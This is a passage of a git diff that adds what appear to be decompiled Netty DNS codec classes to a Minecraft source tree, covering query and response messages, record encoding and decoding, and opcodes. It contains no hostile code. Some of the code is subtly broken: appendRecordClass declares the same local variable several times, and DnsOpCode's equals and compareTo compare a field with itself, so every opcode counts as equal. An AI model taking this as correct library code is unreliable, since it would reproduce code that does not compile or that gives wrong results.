+    DnsRecordType type = type();
+    buf.append(name().isEmpty() ? "<root>" : name()).append(' ').append(timeToLive()).append(' ');
+    
+
+
+
+    DnsMessageUtil.appendRecordClass(buf, dnsClass()).append(' ').append(type.name());
+    
+
+
+    buf.append(' ').append(hostname);
+    
+
+    return buf.toString();
+  }
+}
diff --git a/src/minecraft/io/netty/handler/codec/dns/DefaultDnsQuery.java b/src/minecraft/io/netty/handler/codec/dns/DefaultDnsQuery.java
new file mode 100644
index 0000000..6d57239
--- /dev/null
+++ b/src/minecraft/io/netty/handler/codec/dns/DefaultDnsQuery.java
@@ -0,0 +1,114 @@
+package io.netty.handler.codec.dns;
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+public class DefaultDnsQuery
+  extends AbstractDnsMessage
+  implements DnsQuery
+{
+  public DefaultDnsQuery(int id)
+  {
+    super(id);
+  }
+  
+
+
+
+
+
+  public DefaultDnsQuery(int id, DnsOpCode opCode)
+  {
+    super(id, opCode);
+  }
+  
+  public DnsQuery setId(int id)
+  {
+    return (DnsQuery)super.setId(id);
+  }
+  
+  public DnsQuery setOpCode(DnsOpCode opCode)
+  {
+    return (DnsQuery)super.setOpCode(opCode);
+  }
+  
+  public DnsQuery setRecursionDesired(boolean recursionDesired)
+  {
+    return (DnsQuery)super.setRecursionDesired(recursionDesired);
+  }
+  
+  public DnsQuery setZ(int z)
+  {
+    return (DnsQuery)super.setZ(z);
+  }
+  
+  public DnsQuery setRecord(DnsSection section, DnsRecord record)
+  {
+    return (DnsQuery)super.setRecord(section, record);
+  }
+  
+  public DnsQuery addRecord(DnsSection section, DnsRecord record)
+  {
+    return (DnsQuery)super.addRecord(section, record);
+  }
+  
+  public DnsQuery addRecord(DnsSection section, int index, DnsRecord record)
+  {
+    return (DnsQuery)super.addRecord(section, index, record);
+  }
+  
+  public DnsQuery clear(DnsSection section)
+  {
+    return (DnsQuery)super.clear(section);
+  }
+  
+  public DnsQuery clear()
+  {
+    return (DnsQuery)super.clear();
+  }
+  
+  public DnsQuery touch()
+  {
+    return (DnsQuery)super.touch();
+  }
+  
+  public DnsQuery touch(Object hint)
+  {
+    return (DnsQuery)super.touch(hint);
+  }
+  
+  public DnsQuery retain()
+  {
+    return (DnsQuery)super.retain();
+  }
+  
+  public DnsQuery retain(int increment)
+  {
+    return (DnsQuery)super.retain(increment);
+  }
+  
+  public String toString()
+  {
+    return DnsMessageUtil.appendQuery(new StringBuilder(128), this).toString();
+  }
+}
diff --git a/src/minecraft/io/netty/handler/codec/dns/DefaultDnsQuestion.java b/src/minecraft/io/netty/handler/codec/dns/DefaultDnsQuestion.java
new file mode 100644
index 0000000..ce6b160
--- /dev/null
+++ b/src/minecraft/io/netty/handler/codec/dns/DefaultDnsQuestion.java
@@ -0,0 +1,72 @@
+package io.netty.handler.codec.dns;
+
+import io.netty.util.internal.StringUtil;
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+public class DefaultDnsQuestion
+  extends AbstractDnsRecord
+  implements DnsQuestion
+{
+  public DefaultDnsQuestion(String name, DnsRecordType type)
+  {
+    super(name, type, 0L);
+  }
+  
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+  public DefaultDnsQuestion(String name, DnsRecordType type, int dnsClass)
+  {
+    super(name, type, dnsClass, 0L);
+  }
+  
+  public String toString()
+  {
+    StringBuilder buf = new StringBuilder(64);
+    
+    buf.append(StringUtil.simpleClassName(this)).append('(').append(name()).append(' ');
+    
+
+
+
+    DnsMessageUtil.appendRecordClass(buf, dnsClass()).append(' ').append(type().name()).append(')');
+    
+
+
+
+    return buf.toString();
+  }
+}
diff --git a/src/minecraft/io/netty/handler/codec/dns/DefaultDnsRawRecord.java b/src/minecraft/io/netty/handler/codec/dns/DefaultDnsRawRecord.java
new file mode 100644
index 0000000..af80ed3
--- /dev/null
+++ b/src/minecraft/io/netty/handler/codec/dns/DefaultDnsRawRecord.java
@@ -0,0 +1,155 @@
+package io.netty.handler.codec.dns;
+
+import io.netty.buffer.ByteBuf;
+import io.netty.util.internal.ObjectUtil;
+import io.netty.util.internal.StringUtil;
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+public class DefaultDnsRawRecord
+  extends AbstractDnsRecord
+  implements DnsRawRecord
+{
+  private final ByteBuf content;
+  
+  public DefaultDnsRawRecord(String name, DnsRecordType type, long timeToLive, ByteBuf content)
+  {
+    this(name, type, 1, timeToLive, content);
+  }
+  
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+  public DefaultDnsRawRecord(String name, DnsRecordType type, int dnsClass, long timeToLive, ByteBuf content)
+  {
+    super(name, type, dnsClass, timeToLive);
+    this.content = ((ByteBuf)ObjectUtil.checkNotNull(content, "content"));
+  }
+  
+  public ByteBuf content()
+  {
+    return content;
+  }
+  
+  public DnsRawRecord copy()
+  {
+    return replace(content().copy());
+  }
+  
+  public DnsRawRecord duplicate()
+  {
+    return replace(content().duplicate());
+  }
+  
+  public DnsRawRecord retainedDuplicate()
+  {
+    return replace(content().retainedDuplicate());
+  }
+  
+  public DnsRawRecord replace(ByteBuf content)
+  {
+    return new DefaultDnsRawRecord(name(), type(), dnsClass(), timeToLive(), content);
+  }
+  
+  public int refCnt()
+  {
+    return content().refCnt();
+  }
+  
+  public DnsRawRecord retain()
+  {
+    content().retain();
+    return this;
+  }
+  
+  public DnsRawRecord retain(int increment)
+  {
+    content().retain(increment);
+    return this;
+  }
+  
+  public boolean release()
+  {
+    return content().release();
+  }
+  
+  public boolean release(int decrement)
+  {
+    return content().release(decrement);
+  }
+  
+  public DnsRawRecord touch()
+  {
+    content().touch();
+    return this;
+  }
+  
+  public DnsRawRecord touch(Object hint)
+  {
+    content().touch(hint);
+    return this;
+  }
+  
+  public String toString()
+  {
+    StringBuilder buf = new StringBuilder(64).append(StringUtil.simpleClassName(this)).append('(');
+    DnsRecordType type = type();
+    if (type != DnsRecordType.OPT) {
+      buf.append(name().isEmpty() ? "<root>" : name()).append(' ').append(timeToLive()).append(' ');
+      
+
+
+
+      DnsMessageUtil.appendRecordClass(buf, dnsClass()).append(' ').append(type.name());
+    }
+    else
+    {
+      buf.append("OPT flags:").append(timeToLive()).append(" udp:").append(dnsClass());
+    }
+    
+
+
+
+    buf.append(' ').append(content().readableBytes()).append("B)");
+    
+
+
+    return buf.toString();
+  }
+}
diff --git a/src/minecraft/io/netty/handler/codec/dns/DefaultDnsRecordDecoder.java b/src/minecraft/io/netty/handler/codec/dns/DefaultDnsRecordDecoder.java
new file mode 100644
index 0000000..6bd8c8b
--- /dev/null
+++ b/src/minecraft/io/netty/handler/codec/dns/DefaultDnsRecordDecoder.java
@@ -0,0 +1,186 @@
+package io.netty.handler.codec.dns;
+
+import io.netty.buffer.ByteBuf;
+import io.netty.handler.codec.CorruptedFrameException;
+import io.netty.util.CharsetUtil;
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+public class DefaultDnsRecordDecoder
+  implements DnsRecordDecoder
+{
+  static final String ROOT = ".";
+  
+  protected DefaultDnsRecordDecoder() {}
+  
+  public final DnsQuestion decodeQuestion(ByteBuf in)
+    throws Exception
+  {
+    String name = decodeName(in);
+    DnsRecordType type = DnsRecordType.valueOf(in.readUnsignedShort());
+    int qClass = in.readUnsignedShort();
+    return new DefaultDnsQuestion(name, type, qClass);
+  }
+  
+  public final <T extends DnsRecord> T decodeRecord(ByteBuf in) throws Exception
+  {
+    int startOffset = in.readerIndex();
+    String name = decodeName(in);
+    
+    int endOffset = in.writerIndex();
+    if (endOffset - startOffset < 10)
+    {
+      in.readerIndex(startOffset);
+      return null;
+    }
+    
+    DnsRecordType type = DnsRecordType.valueOf(in.readUnsignedShort());
+    int aClass = in.readUnsignedShort();
+    long ttl = in.readUnsignedInt();
+    int length = in.readUnsignedShort();
+    int offset = in.readerIndex();
+    
+    if (endOffset - offset < length)
+    {
+      in.readerIndex(startOffset);
+      return null;
+    }
+    
+
+    T record = decodeRecord(name, type, aClass, ttl, in, offset, length);
+    in.readerIndex(offset + length);
+    return record;
+  }
+  
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+  protected DnsRecord decodeRecord(String name, DnsRecordType type, int dnsClass, long timeToLive, ByteBuf in, int offset, int length)
+    throws Exception
+  {
+    if (type == DnsRecordType.PTR) {
+      return new DefaultDnsPtrRecord(name, dnsClass, timeToLive, decodeName0(in.slice(offset, length)));
+    }
+    return new DefaultDnsRawRecord(name, type, dnsClass, timeToLive, in.retainedSlice(offset, length));
+  }
+  
+
+
+
+
+
+
+
+
+  protected String decodeName0(ByteBuf in)
+  {
+    return decodeName(in);
+  }
+  
+
+
+
+
+
+
+
+  public static String decodeName(ByteBuf in)
+  {
+    int position = -1;
+    int checked = 0;
+    int end = in.writerIndex();
+    int readable = in.readableBytes();
+    
+
+
+
+
+
+
+
+    if (readable == 0) {
+      return ".";
+    }
+    
+    StringBuilder name = new StringBuilder(readable << 1);
+    while (in.isReadable()) {
+      int len = in.readUnsignedByte();
+      boolean pointer = (len & 0xC0) == 192;
+      if (pointer) {
+        if (position == -1) {
+          position = in.readerIndex() + 1;
+        }
+        
+        if (!in.isReadable()) {
+          throw new CorruptedFrameException("truncated pointer in a name");
+        }
+        
+        int next = (len & 0x3F) << 8 | in.readUnsignedByte();
+        if (next >= end) {
+          throw new CorruptedFrameException("name has an out-of-range pointer");
+        }
+        in.readerIndex(next);
+        
+
+        checked += 2;
+        if (checked >= end)
+          throw new CorruptedFrameException("name contains a loop.");
+      } else {
+        if (len == 0) break;
+        if (!in.isReadable(len)) {
+          throw new CorruptedFrameException("truncated label in a name");
+        }
+        name.append(in.toString(in.readerIndex(), len, CharsetUtil.UTF_8)).append('.');
+        in.skipBytes(len);
+      }
+    }
+    
+
+
+    if (position != -1) {
+      in.readerIndex(position);
+    }
+    
+    if (name.length() == 0) {
+      return ".";
+    }
+    
+    if (name.charAt(name.length() - 1) != '.') {
+      name.append('.');
+    }
+    
+    return name.toString();
+  }
+}
diff --git a/src/minecraft/io/netty/handler/codec/dns/DefaultDnsRecordEncoder.java b/src/minecraft/io/netty/handler/codec/dns/DefaultDnsRecordEncoder.java
new file mode 100644
index 0000000..5b53a96
--- /dev/null
+++ b/src/minecraft/io/netty/handler/codec/dns/DefaultDnsRecordEncoder.java
@@ -0,0 +1,189 @@
+package io.netty.handler.codec.dns;
+
+import io.netty.buffer.ByteBuf;
+import io.netty.buffer.ByteBufUtil;
+import io.netty.channel.socket.InternetProtocolFamily;
+import io.netty.handler.codec.UnsupportedMessageTypeException;
+import io.netty.util.internal.StringUtil;
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+public class DefaultDnsRecordEncoder
+  implements DnsRecordEncoder
+{
+  private static final int PREFIX_MASK = 7;
+  
+  protected DefaultDnsRecordEncoder() {}
+  
+  public final void encodeQuestion(DnsQuestion question, ByteBuf out)
+    throws Exception
+  {
+    encodeName(question.name(), out);
+    out.writeShort(question.type().intValue());
+    out.writeShort(question.dnsClass());
+  }
+  
+  public void encodeRecord(DnsRecord record, ByteBuf out) throws Exception
+  {
+    if ((record instanceof DnsQuestion)) {
+      encodeQuestion((DnsQuestion)record, out);
+    } else if ((record instanceof DnsPtrRecord)) {
+      encodePtrRecord((DnsPtrRecord)record, out);
+    } else if ((record instanceof DnsOptEcsRecord)) {
+      encodeOptEcsRecord((DnsOptEcsRecord)record, out);
+    } else if ((record instanceof DnsOptPseudoRecord)) {
+      encodeOptPseudoRecord((DnsOptPseudoRecord)record, out);
+    } else if ((record instanceof DnsRawRecord)) {
+      encodeRawRecord((DnsRawRecord)record, out);
+    } else {
+      throw new UnsupportedMessageTypeException(StringUtil.simpleClassName(record));
+    }
+  }
+  
+  private void encodeRecord0(DnsRecord record, ByteBuf out) throws Exception {
+    encodeName(record.name(), out);
+    out.writeShort(record.type().intValue());
+    out.writeShort(record.dnsClass());
+    out.writeInt((int)record.timeToLive());
+  }
+  
+  private void encodePtrRecord(DnsPtrRecord record, ByteBuf out) throws Exception {
+    encodeRecord0(record, out);
+    encodeName(record.hostname(), out);
+  }
+  
+  private void encodeOptPseudoRecord(DnsOptPseudoRecord record, ByteBuf out) throws Exception {
+    encodeRecord0(record, out);
+    out.writeShort(0);
+  }
+  
+  private void encodeOptEcsRecord(DnsOptEcsRecord record, ByteBuf out) throws Exception {
+    encodeRecord0(record, out);
+    
+    int sourcePrefixLength = record.sourcePrefixLength();
+    int scopePrefixLength = record.scopePrefixLength();
+    int lowOrderBitsToPreserve = sourcePrefixLength & 0x7;
+    
+    byte[] bytes = record.address();
+    int addressBits = bytes.length << 3;
+    if ((addressBits < sourcePrefixLength) || (sourcePrefixLength < 0)) {
+      throw new IllegalArgumentException(sourcePrefixLength + ": " + sourcePrefixLength + " (expected: 0 >= " + addressBits + ')');
+    }
+    
+
+
+    short addressNumber = (short)(bytes.length == 4 ? InternetProtocolFamily.IPv4.addressNumber() : InternetProtocolFamily.IPv6.addressNumber());
+    
+    int payloadLength = calculateEcsAddressLength(sourcePrefixLength, lowOrderBitsToPreserve);
+    
+    int fullPayloadLength = 8 + payloadLength;
+    
+
+
+
+
+
+    out.writeShort(fullPayloadLength);
+    out.writeShort(8);
+    
+    out.writeShort(fullPayloadLength - 4);
+    out.writeShort(addressNumber);
+    out.writeByte(sourcePrefixLength);
+    out.writeByte(scopePrefixLength);
+    
+    if (lowOrderBitsToPreserve > 0) {
+      int bytesLength = payloadLength - 1;
+      out.writeBytes(bytes, 0, bytesLength);
+      
+
+      out.writeByte(padWithZeros(bytes[bytesLength], lowOrderBitsToPreserve));
+    }
+    else {
+      out.writeBytes(bytes, 0, payloadLength);
+    }
+  }
+  
+  static int calculateEcsAddressLength(int sourcePrefixLength, int lowOrderBitsToPreserve)
+  {
+    return (sourcePrefixLength >>> 3) + (lowOrderBitsToPreserve != 0 ? 1 : 0);
+  }
+  
+  private void encodeRawRecord(DnsRawRecord record, ByteBuf out) throws Exception {
+    encodeRecord0(record, out);
+    
+    ByteBuf content = record.content();
+    int contentLen = content.readableBytes();
+    
+    out.writeShort(contentLen);
+    out.writeBytes(content, content.readerIndex(), contentLen);
+  }
+  
+  protected void encodeName(String name, ByteBuf buf) throws Exception {
+    if (".".equals(name))
+    {
+      buf.writeByte(0);
+      return;
+    }
+    
+    String[] labels = name.split("\\.");
+    for (String label : labels) {
+      int labelLen = label.length();
+      if (labelLen == 0) {
+        break;
+      }
+      
+
+      buf.writeByte(labelLen);
+      ByteBufUtil.writeAscii(buf, label);
+    }
+    
+    buf.writeByte(0);
+  }
+  
+  static byte padWithZeros(byte b, int lowOrderBitsToPreserve)
+  {
+    switch (lowOrderBitsToPreserve) {
+    case 0: 
+      return 0;
+    case 1: 
+      return (byte)(0x1 & b);
+    case 2: 
+      return (byte)(0x3 & b);
+    case 3: 
+      return (byte)(0x7 & b);
+    case 4: 
+      return (byte)(0xF & b);
+    case 5: 
+      return (byte)(0x1F & b);
+    case 6: 
+      return (byte)(0x3F & b);
+    case 7: 
+      return (byte)(0x7F & b);
+    case 8: 
+      return b;
+    }
+    throw new IllegalArgumentException("lowOrderBitsToPreserve: " + lowOrderBitsToPreserve);
+  }
+}
diff --git a/src/minecraft/io/netty/handler/codec/dns/DefaultDnsResponse.java b/src/minecraft/io/netty/handler/codec/dns/DefaultDnsResponse.java
new file mode 100644
index 0000000..a4bacbf
--- /dev/null
+++ b/src/minecraft/io/netty/handler/codec/dns/DefaultDnsResponse.java
@@ -0,0 +1,178 @@
+package io.netty.handler.codec.dns;
+
+import io.netty.util.internal.ObjectUtil;
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+public class DefaultDnsResponse
+  extends AbstractDnsMessage
+  implements DnsResponse
+{
+  private boolean authoritativeAnswer;
+  private boolean truncated;
+  private boolean recursionAvailable;
+  private DnsResponseCode code;
+  
+  public DefaultDnsResponse(int id)
+  {
+    this(id, DnsOpCode.QUERY, DnsResponseCode.NOERROR);
+  }
+  
+
+
+
+
+
+  public DefaultDnsResponse(int id, DnsOpCode opCode)
+  {
+    this(id, opCode, DnsResponseCode.NOERROR);
+  }
+  
+
+
+
+
+
+
+  public DefaultDnsResponse(int id, DnsOpCode opCode, DnsResponseCode code)
+  {
+    super(id, opCode);
+    setCode(code);
+  }
+  
+  public boolean isAuthoritativeAnswer()
+  {
+    return authoritativeAnswer;
+  }
+  
+  public DnsResponse setAuthoritativeAnswer(boolean authoritativeAnswer)
+  {
+    this.authoritativeAnswer = authoritativeAnswer;
+    return this;
+  }
+  
+  public boolean isTruncated()
+  {
+    return truncated;
+  }
+  
+  public DnsResponse setTruncated(boolean truncated)
+  {
+    this.truncated = truncated;
+    return this;
+  }
+  
+  public boolean isRecursionAvailable()
+  {
+    return recursionAvailable;
+  }
+  
+  public DnsResponse setRecursionAvailable(boolean recursionAvailable)
+  {
+    this.recursionAvailable = recursionAvailable;
+    return this;
+  }
+  
+  public DnsResponseCode code()
+  {
+    return code;
+  }
+  
+  public DnsResponse setCode(DnsResponseCode code)
+  {
+    this.code = ((DnsResponseCode)ObjectUtil.checkNotNull(code, "code"));
+    return this;
+  }
+  
+  public DnsResponse setId(int id)
+  {
+    return (DnsResponse)super.setId(id);
+  }
+  
+  public DnsResponse setOpCode(DnsOpCode opCode)
+  {
+    return (DnsResponse)super.setOpCode(opCode);
+  }
+  
+  public DnsResponse setRecursionDesired(boolean recursionDesired)
+  {
+    return (DnsResponse)super.setRecursionDesired(recursionDesired);
+  }
+  
+  public DnsResponse setZ(int z)
+  {
+    return (DnsResponse)super.setZ(z);
+  }
+  
+  public DnsResponse setRecord(DnsSection section, DnsRecord record)
+  {
+    return (DnsResponse)super.setRecord(section, record);
+  }
+  
+  public DnsResponse addRecord(DnsSection section, DnsRecord record)
+  {
+    return (DnsResponse)super.addRecord(section, record);
+  }
+  
+  public DnsResponse addRecord(DnsSection section, int index, DnsRecord record)
+  {
+    return (DnsResponse)super.addRecord(section, index, record);
+  }
+  
+  public DnsResponse clear(DnsSection section)
+  {
+    return (DnsResponse)super.clear(section);
+  }
+  
+  public DnsResponse clear()
+  {
+    return (DnsResponse)super.clear();
+  }
+  
+  public DnsResponse touch()
+  {
+    return (DnsResponse)super.touch();
+  }
+  
+  public DnsResponse touch(Object hint)
+  {
+    return (DnsResponse)super.touch(hint);
+  }
+  
+  public DnsResponse retain()
+  {
+    return (DnsResponse)super.retain();
+  }
+  
+  public DnsResponse retain(int increment)
+  {
+    return (DnsResponse)super.retain(increment);
+  }
+  
+  public String toString()
+  {
+    return DnsMessageUtil.appendResponse(new StringBuilder(128), this).toString();
+  }
+}
diff --git a/src/minecraft/io/netty/handler/codec/dns/DnsMessage.java b/src/minecraft/io/netty/handler/codec/dns/DnsMessage.java
new file mode 100644
index 0000000..bb8af71
--- /dev/null
+++ b/src/minecraft/io/netty/handler/codec/dns/DnsMessage.java
@@ -0,0 +1,53 @@
+package io.netty.handler.codec.dns;
+
+import io.netty.util.ReferenceCounted;
+
+public abstract interface DnsMessage
+  extends ReferenceCounted
+{
+  public abstract int id();
+  
+  public abstract DnsMessage setId(int paramInt);
+  
+  public abstract DnsOpCode opCode();
+  
+  public abstract DnsMessage setOpCode(DnsOpCode paramDnsOpCode);
+  
+  public abstract boolean isRecursionDesired();
+  
+  public abstract DnsMessage setRecursionDesired(boolean paramBoolean);
+  
+  public abstract int z();
+  
+  public abstract DnsMessage setZ(int paramInt);
+  
+  public abstract int count(DnsSection paramDnsSection);
+  
+  public abstract int count();
+  
+  public abstract <T extends DnsRecord> T recordAt(DnsSection paramDnsSection);
+  
+  public abstract <T extends DnsRecord> T recordAt(DnsSection paramDnsSection, int paramInt);
+  
+  public abstract DnsMessage setRecord(DnsSection paramDnsSection, DnsRecord paramDnsRecord);
+  
+  public abstract <T extends DnsRecord> T setRecord(DnsSection paramDnsSection, int paramInt, DnsRecord paramDnsRecord);
+  
+  public abstract DnsMessage addRecord(DnsSection paramDnsSection, DnsRecord paramDnsRecord);
+  
+  public abstract DnsMessage addRecord(DnsSection paramDnsSection, int paramInt, DnsRecord paramDnsRecord);
+  
+  public abstract <T extends DnsRecord> T removeRecord(DnsSection paramDnsSection, int paramInt);
+  
+  public abstract DnsMessage clear(DnsSection paramDnsSection);
+  
+  public abstract DnsMessage clear();
+  
+  public abstract DnsMessage touch();
+  
+  public abstract DnsMessage touch(Object paramObject);
+  
+  public abstract DnsMessage retain();
+  
+  public abstract DnsMessage retain(int paramInt);
+}
diff --git a/src/minecraft/io/netty/handler/codec/dns/DnsMessageUtil.java b/src/minecraft/io/netty/handler/codec/dns/DnsMessageUtil.java
new file mode 100644
index 0000000..8fd3fb0
--- /dev/null
+++ b/src/minecraft/io/netty/handler/codec/dns/DnsMessageUtil.java
@@ -0,0 +1,179 @@
+package io.netty.handler.codec.dns;
+
+import io.netty.channel.AddressedEnvelope;
+import io.netty.util.internal.StringUtil;
+import java.net.SocketAddress;
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+final class DnsMessageUtil
+{
+  static StringBuilder appendQuery(StringBuilder buf, DnsQuery query)
+  {
+    appendQueryHeader(buf, query);
+    appendAllRecords(buf, query);
+    return buf;
+  }
+  
+  static StringBuilder appendResponse(StringBuilder buf, DnsResponse response) {
+    appendResponseHeader(buf, response);
+    appendAllRecords(buf, response);
+    return buf; }
+  
+  static StringBuilder appendRecordClass(StringBuilder buf, int dnsClass) { String name;
+    String name;
+    String name;
+    String name; String name; String name; String name; switch (dnsClass &= 0xFFFF) {
+    case 1: 
+      name = "IN";
+      break;
+    case 2: 
+      name = "CSNET";
+      break;
+    case 3: 
+      name = "CHAOS";
+      break;
+    case 4: 
+      name = "HESIOD";
+      break;
+    case 254: 
+      name = "NONE";
+      break;
+    case 255: 
+      name = "ANY";
+      break;
+    default: 
+      name = null;
+    }
+    
+    
+    if (name != null) {
+      buf.append(name);
+    } else {
+      buf.append("UNKNOWN(").append(dnsClass).append(')');
+    }
+    
+    return buf;
+  }
+  
+  private static void appendQueryHeader(StringBuilder buf, DnsQuery msg) {
+    buf.append(StringUtil.simpleClassName(msg)).append('(');
+    
+
+    appendAddresses(buf, msg).append(msg.id()).append(", ").append(msg.opCode());
+    
+
+
+
+    if (msg.isRecursionDesired()) {
+      buf.append(", RD");
+    }
+    if (msg.z() != 0) {
+      buf.append(", Z: ").append(msg.z());
+    }
+    
+    buf.append(')');
+  }
+  
+  private static void appendResponseHeader(StringBuilder buf, DnsResponse msg) {
+    buf.append(StringUtil.simpleClassName(msg)).append('(');
+    
+
+    appendAddresses(buf, msg).append(msg.id()).append(", ").append(msg.opCode()).append(", ").append(msg.code()).append(',');
+    
+
+
+
+
+
+
+    boolean hasComma = true;
+    if (msg.isRecursionDesired()) {
+      hasComma = false;
+      buf.append(" RD");
+    }
+    if (msg.isAuthoritativeAnswer()) {
+      hasComma = false;
+      buf.append(" AA");
+    }
+    if (msg.isTruncated()) {
+      hasComma = false;
+      buf.append(" TC");
+    }
+    if (msg.isRecursionAvailable()) {
+      hasComma = false;
+      buf.append(" RA");
+    }
+    if (msg.z() != 0) {
+      if (!hasComma) {
+        buf.append(',');
+      }
+      buf.append(" Z: ").append(msg.z());
+    }
+    
+
+    if (hasComma) {
+      buf.setCharAt(buf.length() - 1, ')');
+    } else {
+      buf.append(')');
+    }
+  }
+  
+  private static StringBuilder appendAddresses(StringBuilder buf, DnsMessage msg)
+  {
+    if (!(msg instanceof AddressedEnvelope)) {
+      return buf;
+    }
+    
+
+    AddressedEnvelope<?, SocketAddress> envelope = (AddressedEnvelope)msg;
+    
+    SocketAddress addr = envelope.sender();
+    if (addr != null) {
+      buf.append("from: ").append(addr).append(", ");
+    }
+    
+
+
+    addr = envelope.recipient();
+    if (addr != null) {
+      buf.append("to: ").append(addr).append(", ");
+    }
+    
+
+
+    return buf;
+  }
+  
+  private static void appendAllRecords(StringBuilder buf, DnsMessage msg) {
+    appendRecords(buf, msg, DnsSection.QUESTION);
+    appendRecords(buf, msg, DnsSection.ANSWER);
+    appendRecords(buf, msg, DnsSection.AUTHORITY);
+    appendRecords(buf, msg, DnsSection.ADDITIONAL);
+  }
+  
+  private static void appendRecords(StringBuilder buf, DnsMessage message, DnsSection section) {
+    int count = message.count(section);
+    for (int i = 0; i < count; i++) {
+      buf.append(StringUtil.NEWLINE).append('\t').append(message.recordAt(section, i));
+    }
+  }
+  
+  private DnsMessageUtil() {}
+}
diff --git a/src/minecraft/io/netty/handler/codec/dns/DnsOpCode.java b/src/minecraft/io/netty/handler/codec/dns/DnsOpCode.java
new file mode 100644
index 0000000..3d083b5
--- /dev/null
+++ b/src/minecraft/io/netty/handler/codec/dns/DnsOpCode.java
@@ -0,0 +1,121 @@
+package io.netty.handler.codec.dns;
+
+import io.netty.util.internal.ObjectUtil;
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+public class DnsOpCode
+  implements Comparable<DnsOpCode>
+{
+  public static final DnsOpCode QUERY = new DnsOpCode(0, "QUERY");
+  
+
+
+
+  public static final DnsOpCode IQUERY = new DnsOpCode(1, "IQUERY");
+  
+
+
+
+  public static final DnsOpCode STATUS = new DnsOpCode(2, "STATUS");
+  
+
+
+
+  public static final DnsOpCode NOTIFY = new DnsOpCode(4, "NOTIFY");
+  
+
+
+
+  public static final DnsOpCode UPDATE = new DnsOpCode(5, "UPDATE");
+  private final byte byteValue;
+  private final String name;
+  private String text;
+  
+  public static DnsOpCode valueOf(int b) {
+    switch (b) {
+    case 0: 
+      return QUERY;
+    case 1: 
+      return IQUERY;
+    case 2: 
+      return STATUS;
+    case 4: 
+      return NOTIFY;
+    case 5: 
+      return UPDATE;
+    }
+    
+    return new DnsOpCode(b);
+  }
+  
+
+
+
+  private DnsOpCode(int byteValue)
+  {
+    this(byteValue, "UNKNOWN");
+  }
+  
+  public DnsOpCode(int byteValue, String name) {
+    this.byteValue = ((byte)byteValue);
+    this.name = ((String)ObjectUtil.checkNotNull(name, "name"));
+  }
+  
+  public byte byteValue() {
+    return byteValue;
+  }
+  
+  public int hashCode()
+  {
+    return byteValue;
+  }
+  
+  public boolean equals(Object obj)
+  {
+    if (this == obj) {
+      return true;
+    }
+    
+    if (!(obj instanceof DnsOpCode)) {
+      return false;
+    }
+    
+    return byteValue == byteValue;
+  }
+  
+  public int compareTo(DnsOpCode o)
+  {
+    return byteValue - byteValue;
+  }
+  
+  public String toString()
+  {
+    String text = this.text;
+    if (text == null) {
+      this.text = (text = name + '(' + (byteValue & 0xFF) + ')');
+    }
+    return text;
+  }
+}
diff --git a/src/minecraft/io/netty/handler/codec/dns/DnsOptEcsRecord.java b/src/minecraft/io/netty/handler/codec/dns/DnsOptEcsRecord.java
new file mode 100644
index 0000000..b7c4139
--- /dev/null
+++ b/src/minecraft/io/netty/handler/codec/dns/DnsOptEcsRecord.java
@@ -0,0 +1,11 @@
+package io.netty.handler.codec.dns;
+
+public abstract interface DnsOptEcsRecord
+  extends DnsOptPseudoRecord
+{
+  public abstract int sourcePrefixLength();
+  
+  public abstract int scopePrefixLength();
+  
+  public abstract byte[] address();
+}
diff --git a/src/minecraft/io/netty/handler/codec/dns/DnsOptPseudoRecord.java b/src/minecraft/io/netty/handler/codec/dns/DnsOptPseudoRecord.java
new file mode 100644
index 0000000..5435e3a
--- /dev/null
+++ b/src/minecraft/io/netty/handler/codec/dns/DnsOptPseudoRecord.java
@@ -0,0 +1,11 @@
+package io.netty.handler.codec.dns;
+
+public abstract interface DnsOptPseudoRecord
+  extends DnsRecord
+{
+  public abstract int extendedRcode();
+  
+  public abstract int version();
+  
+  public abstract int flags();
+}
diff --git a/src/minecraft/io/netty/handler/codec/dns/DnsPtrRecord.java b/src/minecraft/io/netty/handler/codec/dns/DnsPtrRecord.java
new file mode 100644
index 0000000..7eee5b6
--- /dev/null
+++ b/src/minecraft/io/netty/handler/codec/dns/DnsPtrRecord.java
@@ -0,0 +1,7 @@
+package io.netty.handler.codec.dns;
+
+public abstract interface DnsPtrRecord
+  extends DnsRecord
+{
+  public abstract String hostname();
+}
diff --git a/src/minecraft/io/netty/handler/codec/dns/DnsQuery.java b/src/minecraft/io/netty/handler/codec/dns/DnsQuery.java
new file mode 100644
index 0000000..b66389e
--- /dev/null
+++ b/src/minecraft/io/netty/handler/codec/dns/DnsQuery.java
@@ -0,0 +1,31 @@
+package io.netty.handler.codec.dns;
+
+public abstract interface DnsQuery
+  extends DnsMessage
+{
+  public abstract DnsQuery setId(int paramInt);
+  
+  public abstract DnsQuery setOpCode(DnsOpCode paramDnsOpCode);
+  
+  public abstract DnsQuery setRecursionDesired(boolean paramBoolean);
+  
+  public abstract DnsQuery setZ(int paramInt);
+  
+  public abstract DnsQuery setRecord(DnsSection paramDnsSection, DnsRecord paramDnsRecord);
+  
+  public abstract DnsQuery addRecord(DnsSection paramDnsSection, DnsRecord paramDnsRecord);
+  
+  public abstract DnsQuery addRecord(DnsSection paramDnsSection, int paramInt, DnsRecord paramDnsRecord);
+  
+  public abstract DnsQuery clear(DnsSection paramDnsSection);
+  
+  public abstract DnsQuery clear();
+  
+  public abstract DnsQuery touch();
+  
+  public abstract DnsQuery touch(Object paramObject);
+  
+  public abstract DnsQuery retain();
+  
+  public abstract DnsQuery retain(int paramInt);
+}
diff --git a/src/minecraft/io/netty/handler/codec/dns/DnsQuestion.java b/src/minecraft/io/netty/handler/codec/dns/DnsQuestion.java
new file mode 100644
index 0000000..5608ee9
--- /dev/null
